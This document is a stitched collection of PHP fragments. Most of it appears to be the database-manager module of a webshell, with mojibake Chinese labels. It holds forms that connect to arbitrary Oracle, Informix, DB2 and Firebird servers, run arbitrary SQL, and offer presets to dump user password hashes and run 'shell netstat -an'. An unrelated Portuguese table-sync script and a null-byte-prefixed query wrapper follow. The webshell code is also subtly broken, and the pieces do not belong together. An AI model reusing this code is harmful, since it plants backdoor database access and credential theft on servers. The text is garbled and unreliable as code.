$_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
<?php $sqlTotvsSX5010 = ociparse($totvsConexao, "SELECT COUNT(*) AS QTD_SX5010 FROM SX5010 WHERE X5_TABELA = 'CR'"); ociexecute($sqlTotvsSX5010); $rowTotvsSX5010 = oci_fetch_array($sqlTotvsSX5010); $quantidadeTotvsSX5010 = $rowTotvsSX5010['QTD_SX5010']; $sqlMySQLPcpCor = mysql_query("SELECT COUNT(*) AS QTD_PCP_COR FROM tb_pcp_cor", $conexaoExtranet) or die(mysql_error()); $rowMySQLPcpCor = mysql_fetch_array($sqlMySQLPcpCor); $quantidadeMySQLPcpCor = $rowMySQLPcpCor['QTD_PCP_COR']; if ($quantidadeTotvsSX5010 != $quantidadeMySQLPcpCor) { $quantidadeDiferenca = $quantidadeTotvsSX5010 - $quantidadeMySQLPcpCor; enviaEmailNotificacao(date("d/m/Y h:i:s"), "PcpCor", $quantidadeTotvsSX5010, $quantidadeMySQLPcpCor, $quantidadeDiferenca); echo "Sincronismo Validação Tabela de Cor Concluido e e-mail de Notificacao Enviado.<br>"; } else { echo "Sincronismo Validação Tabela de Cor Concluido sem Divergencia.<br>"; }
function query($query) { $this->res = $this->error = ''; switch ($this->db) { case 'MySQL': if (false === ($this->res = @mysql_query('/*' . chr(0) . '*/' . $query, $this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else { if (is_resource($this->res)) { return 1; } } return 2; break; case 'MSSQL': if (false === ($this->res = @mssql_query($query, $this->connection))) { $this->error = 'Query error'; return 0; } else { if (@mssql_num_rows($this->res) > 0) { return 1; } } return 2; break; case 'PostgreSQL': if (false === ($this->res = @pg_query($this->connection, $query))) { $this->error = @pg_last_error($this->connection); return 0; } else { if (@pg_num_rows($this->res) > 0) { return 1; } } return 2; break; case 'Oracle': if (false === ($this->res = @ociparse($this->connection, $query))) { $this->error = 'Query parse error'; } else { if (@ociexecute($this->res)) { if (@ocirowcount($this->res) != 0) { return 2; } return 1; } $error = @ocierror(); $this->error = $error['message']; } break; } return 0; }